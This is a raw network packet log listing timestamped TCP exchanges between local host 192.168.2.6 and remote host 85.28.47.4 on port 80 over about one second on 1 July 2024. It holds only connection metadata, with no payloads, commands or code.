Jul 1, 2024 07:20:43.649815083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649840117 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649852991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649873972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649889946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649908066 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649914980 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649944067 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649960041 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.649976969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.649996042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650010109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650022984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650047064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650063038 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650079966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650093079 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650114059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650122881 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650146961 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650152922 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650178909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650187969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650214911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650224924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650250912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650260925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650285006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650295973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650317907 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650332928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650353909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650368929 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650387049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650403976 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650423050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650432110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650456905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650470018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650490999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650504112 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650527000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650533915 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650562048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650577068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650597095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650610924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650629997 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.650645018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.650676966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.907984018 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908026934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908040047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908061028 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908071995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908088923 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908098936 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908098936 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908106089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908111095 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908122063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908133030 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908138990 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908149004 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908154964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908166885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908175945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908191919 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908212900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908446074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908462048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908478022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908503056 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908503056 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908507109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908521891 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908524036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908540010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908544064 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908556938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908566952 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908577919 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908587933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908593893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908601046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908610106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908623934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908633947 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908648014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908776045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908791065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908806086 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908816099 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908822060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908829927 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908838034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908845901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908854961 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908862114 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908870935 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908881903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908885956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908895969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908901930 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908915043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908919096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908932924 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908934116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908942938 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908947945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908962011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908962965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908977032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908978939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.908992052 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.908994913 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.909009933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.909010887 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.909024954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.909027100 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.909041882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.909049988 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.909071922 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.909096003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.909322977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.909337044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.909367085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.909369946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.909383059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.909385920 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.909400940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.909404993 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.909418106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.909418106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.909435034 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.909435987 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.909450054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.909451962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.909470081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.909470081 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.909482956 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.909506083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.007497072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.012444019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.188757896 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.188792944 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.188808918 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.188823938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.188848972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.188848972 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.188863993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.188879967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.188898087 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.188963890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.188980103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189018011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189018011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189018011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189018011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189073086 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189088106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189099073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189099073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189105034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189110994 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189121962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189141035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189163923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189188004 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189212084 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189227104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189228058 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189241886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189249992 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189264059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189266920 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189280987 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189285040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189296007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189299107 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189316034 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189332008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189455032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189476967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189493895 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189485073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189502001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189507008 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189516068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189532042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189558029 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189579964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189587116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189588070 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189636946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189697027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189713001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189734936 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189743042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189759016 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189766884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189774036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189783096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189799070 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189804077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189814091 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189815044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189830065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189834118 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189846039 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.189847946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189862013 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.189882040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190020084 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190035105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190057039 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190057039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190073013 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190074921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190089941 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190105915 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190125942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190156937 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190244913 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190259933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190274954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190280914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190289974 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190293074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190306902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190311909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190323114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190330982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190339088 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190349102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190356016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190368891 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190368891 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190383911 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190402985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190635920 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190658092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190671921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190675974 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190687895 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190690994 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190704107 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190710068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190721035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190725088 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190737009 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190745115 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190756083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190758944 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190773010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190779924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190788984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190798998 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190804005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190819025 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190819979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190833092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190835953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190845013 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190860033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.190865040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190881014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.190906048 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191101074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191117048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191131115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191138983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191145897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191157103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191162109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191169977 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191198111 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191209078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191226006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191258907 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191426992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191452026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191459894 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191473007 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191481113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191485882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191487074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191493034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191498995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191504955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191507101 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191523075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191525936 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191540956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191553116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191556931 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191567898 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191574097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191591024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191596985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191606045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191617966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191622019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191644907 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191647053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191663027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191667080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191678047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191692114 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191693068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.191715956 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.191737890 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.192198992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192203999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192213058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192224979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192238092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.192240953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192257881 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192264080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.192274094 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192286015 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.192290068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192301035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.192306042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192327023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192327976 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.192332983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192339897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192347050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192348957 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:44.192349911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:44.192367077 CEST	49711	80	192.168.2.6	85.28.47.4
